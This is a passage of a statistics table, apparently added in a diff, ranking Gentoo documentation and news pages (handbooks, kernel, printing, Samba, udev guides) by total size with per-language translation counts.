+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
+<tr><ti>81.</ti><ti><uri link='/doc/en/handbook/2008.0/handbook-x86.xml'>/doc/**/handbook/2008.0/handbook-x86.xml</uri></ti><ti align='right'>24,937</ti><ti align='right'>17,387</ti><ti align='right'>1,768</ti><ti align='right'>924</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,353</ti><ti align='right'></ti><ti align='right'>952</ti><ti align='right'>2,553</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>82.</ti><ti><uri link='/doc/en/gentoo-kernel.xml'>/doc/**/gentoo-kernel.xml</uri></ti><ti align='right'>24,903</ti><ti align='right'>17,010</ti><ti align='right'>1,027</ti><ti align='right'>1,769</ti><ti align='right'>1,466</ti><ti align='right'></ti><ti align='right'>1,136</ti><ti align='right'>612</ti><ti align='right'>868</ti><ti align='right'></ti><ti align='right'>279</ti><ti align='right'>120</ti><ti align='right'>127</ti><ti align='right'></ti><ti align='right'>129</ti><ti align='right'>87</ti><ti align='right'>99</ti><ti align='right'>93</ti><ti align='right'>76</ti><ti align='right'></ti><ti align='right'>5</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>83.</ti><ti><uri link='/news/20080123_releng_beta.xml'>/news/20080123_releng_beta.xml</uri></ti><ti align='right'>24,857</ti><ti align='right'>24,857</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>84.</ti><ti><uri link='/doc/en/printing-howto.xml'>/doc/**/printing-howto.xml</uri></ti><ti align='right'>24,856</ti><ti align='right'>14,563</ti><ti align='right'>1,516</ti><ti align='right'>1,990</ti><ti align='right'>939</ti><ti align='right'></ti><ti align='right'>943</ti><ti align='right'>2,055</ti><ti align='right'>1,173</ti><ti align='right'></ti><ti align='right'>380</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>579</ti><ti align='right'>185</ti><ti align='right'>175</ti><ti align='right'>148</ti><ti align='right'></ti><ti align='right'>210</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>85.</ti><ti><uri link='/doc/en/gcc-upgrading.xml'>/doc/**/gcc-upgrading.xml</uri></ti><ti align='right'>24,758</ti><ti align='right'>16,764</ti><ti align='right'>1,135</ti><ti align='right'>1,413</ti><ti align='right'>910</ti><ti align='right'>1,195</ti><ti align='right'>617</ti><ti align='right'>1,655</ti><ti align='right'>563</ti><ti align='right'></ti><ti align='right'>284</ti><ti align='right'></ti><ti align='right'>157</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>65</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>86.</ti><ti><uri link='/doc/en/ati-faq.xml'>/doc/**/ati-faq.xml</uri></ti><ti align='right'>24,540</ti><ti align='right'>15,483</ti><ti align='right'>1,260</ti><ti align='right'>1,331</ti><ti align='right'>1,174</ti><ti align='right'>1,735</ti><ti align='right'>895</ti><ti align='right'>811</ti><ti align='right'>540</ti><ti align='right'>242</ti><ti align='right'>126</ti><ti align='right'>173</ti><ti align='right'></ti><ti align='right'>278</ti><ti align='right'>78</ti><ti align='right'>40</ti><ti align='right'>162</ti><ti align='right'>114</ti><ti align='right'>68</ti><ti align='right'>9</ti><ti align='right'>8</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>13</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>87.</ti><ti><uri link='/doc/en/handbook/2006.1/handbook-amd64.xml'>/doc/**/handbook/2006.1/handbook-amd64.xml</uri></ti><ti align='right'>24,412</ti><ti align='right'>12,637</ti><ti align='right'>2,599</ti><ti align='right'>1,948</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,907</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>930</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>688</ti><ti align='right'>2,111</ti><ti align='right'>592</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>88.</ti><ti><uri link='/proj/en/releng/release/2008.0/index.xml'>/proj/**/releng/release/2008.0/index.xml</uri></ti><ti align='right'>24,196</ti><ti align='right'>24,196</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>89.</ti><ti><uri link='/doc/en/java.xml'>/doc/**/java.xml</uri></ti><ti align='right'>24,156</ti><ti align='right'>15,224</ti><ti align='right'>1,369</ti><ti align='right'>1,428</ti><ti align='right'>1,283</ti><ti align='right'>827</ti><ti align='right'>849</ti><ti align='right'>519</ti><ti align='right'>938</ti><ti align='right'></ti><ti align='right'>218</ti><ti align='right'>310</ti><ti align='right'></ti><ti align='right'>292</ti><ti align='right'>126</ti><ti align='right'>99</ti><ti align='right'>153</ti><ti align='right'>214</ti><ti align='right'>110</ti><ti align='right'>52</ti><ti align='right'>18</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>127</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>90.</ti><ti><uri link='/doc/en/handbook/2006.1/handbook-ppc.xml'>/doc/**/handbook/2006.1/handbook-ppc.xml</uri></ti><ti align='right'>24,062</ti><ti align='right'>14,879</ti><ti align='right'>2,333</ti><ti align='right'>2</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,397</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,694</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>934</ti><ti align='right'>989</ti><ti align='right'>834</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>91.</ti><ti><uri link='/doc/en/handbook/2006.1/handbook-alpha.xml'>/doc/**/handbook/2006.1/handbook-alpha.xml</uri></ti><ti align='right'>23,890</ti><ti align='right'>14,942</ti><ti align='right'>2,369</ti><ti align='right'>38</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,859</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,316</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>848</ti><ti align='right'>991</ti><ti align='right'>527</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>92.</ti><ti><uri link='/doc/en/udev-guide.xml'>/doc/**/udev-guide.xml</uri></ti><ti align='right'>23,734</ti><ti align='right'>13,699</ti><ti align='right'>962</ti><ti align='right'>1,581</ti><ti align='right'>1,046</ti><ti align='right'>1,293</ti><ti align='right'>451</ti><ti align='right'>3,308</ti><ti align='right'>461</ti><ti align='right'></ti><ti align='right'>207</ti><ti align='right'>546</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>109</ti><ti align='right'>71</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>93.</ti><ti><uri link='/doc/en/handbook/2004.3/handbook-x86.xml'>/doc/**/handbook/2004.3/handbook-x86.xml</uri></ti><ti align='right'>23,401</ti><ti align='right'>13,651</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,045</ti><ti align='right'></ti><ti align='right'>2,743</ti><ti align='right'>63</ti><ti align='right'>2,020</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,904</ti><ti align='right'>9</ti><ti align='right'></ti><ti align='right'>966</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>94.</ti><ti><uri link='/doc/en/handbook/2006.1/handbook-sparc.xml'>/doc/**/handbook/2006.1/handbook-sparc.xml</uri></ti><ti align='right'>23,155</ti><ti align='right'>14,167</ti><ti align='right'>3,104</ti><ti align='right'>49</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,088</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,147</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>936</ti><ti align='right'>1,037</ti><ti align='right'>627</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>95.</ti><ti><uri link='/proj/en/devrel/roll-call/userinfo.xml'>/proj/**/devrel/roll-call/userinfo.xml</uri></ti><ti align='right'>23,034</ti><ti align='right'>23,034</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>96.</ti><ti><uri link='/doc/en/genkernel.xml'>/doc/**/genkernel.xml</uri></ti><ti align='right'>22,894</ti><ti align='right'>14,427</ti><ti align='right'>1,646</ti><ti align='right'>1,093</ti><ti align='right'>1,165</ti><ti align='right'>1,578</ti><ti align='right'>848</ti><ti align='right'>689</ti><ti align='right'>724</ti><ti align='right'></ti><ti align='right'>233</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>130</ti><ti align='right'>79</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>91</ti><ti align='right'></ti><ti align='right'>191</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>97.</ti><ti><uri link='/doc/en/mysql-howto.xml'>/doc/**/mysql-howto.xml</uri></ti><ti align='right'>22,571</ti><ti align='right'>12,565</ti><ti align='right'>3,134</ti><ti align='right'>729</ti><ti align='right'>1,047</ti><ti align='right'>2,291</ti><ti align='right'>970</ti><ti align='right'></ti><ti align='right'>1,013</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>566</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>255</ti><ti align='right'>1</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>98.</ti><ti><uri link='/doc/en/xfce-config.xml'>/doc/**/xfce-config.xml</uri></ti><ti align='right'>22,112</ti><ti align='right'>14,584</ti><ti align='right'>1,862</ti><ti align='right'></ti><ti align='right'>1,816</ti><ti align='right'></ti><ti align='right'>1,337</ti><ti align='right'></ti><ti align='right'>1,052</ti><ti align='right'>1,128</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>238</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>95</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>99.</ti><ti><uri link='/doc/en/gentoolkit.xml'>/doc/**/gentoolkit.xml</uri></ti><ti align='right'>21,941</ti><ti align='right'>15,499</ti><ti align='right'>828</ti><ti align='right'>1,254</ti><ti align='right'>689</ti><ti align='right'>793</ti><ti align='right'>461</ti><ti align='right'>815</ti><ti align='right'>559</ti><ti align='right'>291</ti><ti align='right'>200</ti><ti align='right'>103</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>125</ti><ti align='right'>103</ti><ti align='right'>126</ti><ti align='right'>81</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>14</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>100.</ti><ti><uri link='/doc/en/handbook/2004.3/handbook-amd64.xml'>/doc/**/handbook/2004.3/handbook-amd64.xml</uri></ti><ti align='right'>21,804</ti><ti align='right'>11,877</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,910</ti><ti align='right'></ti><ti align='right'>2,335</ti><ti align='right'>8</ti><ti align='right'>2,712</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,142</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>820</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><th>Rank</th><th>Document</th><th>All</th><th>en</th><th>pl</th><th>de</th><th>fr</th><th>ru</th><th>it</th><th>ja</th><th>es</th><th>zh_cn</th><th>pt_br</th><th>zh_tw</th><th>fi</th><th>cs</th><th>ro</th><th>id</th><th>nl</th><th>hu</th><th>da</th><th>tr</th><th>ko</th><th>el</th><th>sk</th><th>pt</th><th>vi</th><th>lt</th><th>sv</th><th>he</th><th>ca</th><th>ar</th><th>sr</th></tr>
+<tr><ti>101.</ti><ti><uri link='/doc/en/handbook/2004.3/handbook-sparc.xml'>/doc/**/handbook/2004.3/handbook-sparc.xml</uri></ti><ti align='right'>21,103</ti><ti align='right'>14,572</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,156</ti><ti align='right'></ti><ti align='right'>2,286</ti><ti align='right'>9</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,444</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>636</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>102.</ti><ti><uri link='/doc/en/vi-guide.xml'>/doc/**/vi-guide.xml</uri></ti><ti align='right'>20,649</ti><ti align='right'>9,866</ti><ti align='right'>1,466</ti><ti align='right'>724</ti><ti align='right'>1,915</ti><ti align='right'>2,389</ti><ti align='right'>491</ti><ti align='right'>663</ti><ti align='right'>1,676</ti><ti align='right'>142</ti><ti align='right'></ti><ti align='right'>359</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>144</ti><ti align='right'>713</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>101</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>103.</ti><ti><uri link='/doc/en/openrc-migration.xml'>/doc/**/openrc-migration.xml</uri></ti><ti align='right'>20,238</ti><ti align='right'>19,629</ti><ti align='right'>375</ti><ti align='right'>27</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>24</ti><ti align='right'></ti><ti align='right'>75</ti><ti align='right'>102</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>6</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>104.</ti><ti><uri link='/proj/en/desktop/x/x11/modular-x-howto.xml'>/proj/**/desktop/x/x11/modular-x-howto.xml</uri></ti><ti align='right'>19,720</ti><ti align='right'>12,431</ti><ti align='right'>1,212</ti><ti align='right'>1,765</ti><ti align='right'>1,073</ti><ti align='right'></ti><ti align='right'>748</ti><ti align='right'>1,699</ti><ti align='right'>542</ti><ti align='right'></ti><ti align='right'>250</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>105.</ti><ti><uri link='/doc/en/gentoo-amd64-faq.xml'>/doc/**/gentoo-amd64-faq.xml</uri></ti><ti align='right'>19,662</ti><ti align='right'>12,201</ti><ti align='right'>1,109</ti><ti align='right'>2,129</ti><ti align='right'>1,071</ti><ti align='right'>1,535</ti><ti align='right'>605</ti><ti align='right'></ti><ti align='right'>603</ti><ti align='right'></ti><ti align='right'>264</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>95</ti><ti align='right'>50</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>106.</ti><ti><uri link='/doc/en/gentoo-upgrading.xml'>/doc/**/gentoo-upgrading.xml</uri></ti><ti align='right'>19,386</ti><ti align='right'>11,794</ti><ti align='right'>1,022</ti><ti align='right'>1,003</ti><ti align='right'>1,747</ti><ti align='right'>1,610</ti><ti align='right'>622</ti><ti align='right'>396</ti><ti align='right'>630</ti><ti align='right'></ti><ti align='right'>203</ti><ti align='right'>83</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>53</ti><ti align='right'>223</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>107.</ti><ti><uri link='/doc/en/handbook/2004.3/handbook-ppc.xml'>/doc/**/handbook/2004.3/handbook-ppc.xml</uri></ti><ti align='right'>19,367</ti><ti align='right'>13,188</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,986</ti><ti align='right'></ti><ti align='right'>2,268</ti><ti align='right'>6</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,029</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>890</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>108.</ti><ti><uri link='/doc/en/distcc.xml'>/doc/**/distcc.xml</uri></ti><ti align='right'>19,322</ti><ti align='right'>12,434</ti><ti align='right'>638</ti><ti align='right'>1,677</ti><ti align='right'>912</ti><ti align='right'>912</ti><ti align='right'>424</ti><ti align='right'>718</ti><ti align='right'>491</ti><ti align='right'>157</ti><ti align='right'>138</ti><ti align='right'>111</ti><ti align='right'></ti><ti align='right'>283</ti><ti align='right'>105</ti><ti align='right'>58</ti><ti align='right'>79</ti><ti align='right'>79</ti><ti align='right'>106</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>109.</ti><ti><uri link='/doc/en/handbook/2004.2/handbook-amd64.xml'>/doc/**/handbook/2004.2/handbook-amd64.xml</uri></ti><ti align='right'>19,264</ti><ti align='right'>14,086</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>2,447</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,885</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>846</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>110.</ti><ti><uri link='/doc/en/handbook/2004.3/handbook-hppa.xml'>/doc/**/handbook/2004.3/handbook-hppa.xml</uri></ti><ti align='right'>18,624</ti><ti align='right'>12,274</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,893</ti><ti align='right'></ti><ti align='right'>2,449</ti><ti align='right'>3</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1,145</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>860</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>111.</ti><ti><uri link='/doc/en/security/index.xml'>/doc/**/security/index.xml</uri></ti><ti align='right'>18,613</ti><ti align='right'>13,182</ti><ti align='right'>705</ti><ti align='right'>672</ti><ti align='right'>743</ti><ti align='right'>1,169</ti><ti align='right'>479</ti><ti align='right'>315</ti><ti align='right'>571</ti><ti align='right'>66</ti><ti align='right'>181</ti><ti align='right'></ti><ti align='right'>41</ti><ti align='right'></ti><ti align='right'>138</ti><ti align='right'>119</ti><ti align='right'>113</ti><ti align='right'>77</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>42</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>112.</ti><ti><uri link='/doc/en/gentoo-x86+raid+lvm2-quickinstall.xml'>/doc/**/gentoo-x86+raid+lvm2-quickinstall.xml</uri></ti><ti align='right'>18,430</ti><ti align='right'>13,133</ti><ti align='right'>1,287</ti><ti align='right'>1,544</ti><ti align='right'>927</ti><ti align='right'></ti><ti align='right'>781</ti><ti align='right'></ti><ti align='right'>542</ti><ti align='right'>170</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>46</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>113.</ti><ti><uri link='/doc/en/quick-samba-howto.xml'>/doc/**/quick-samba-howto.xml</uri></ti><ti align='right'>18,398</ti><ti align='right'>9,993</ti><ti align='right'>2,662</ti><ti align='right'>1,642</ti><ti align='right'>1,277</ti><ti align='right'></ti><ti align='right'>896</ti><ti align='right'></ti><ti align='right'>678</ti><ti align='right'></ti><ti align='right'>383</ti><ti align='right'>498</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>237</ti><ti align='right'>114</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>18</ti><ti align='right'></ti><ti align='right'></ti></tr>
+<tr><ti>114.</ti><ti><uri link='/doc/en/gentoo-x86-install.xml'>/doc/**/gentoo-x86-install.xml</uri></ti><ti align='right'>18,050</ti><ti align='right'>5,346</ti><ti align='right'>3</ti><ti align='right'>125</ti><ti align='right'></ti><ti align='right'>395</ti><ti align='right'>11</ti><ti align='right'>11,930</ti><ti align='right'>101</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>7</ti><ti align='right'>130</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>1</ti><ti align='right'></ti></tr>
+<tr><ti>115.</ti><ti><uri link='/news/en/gmn/20080218-newsletter.xml'>/news/**/gmn/20080218-newsletter.xml</uri></ti><ti align='right'>17,910</ti><ti align='right'>16,828</ti><ti align='right'>426</ti><ti align='right'>227</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>269</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'>160</ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti><ti align='right'></ti></tr>
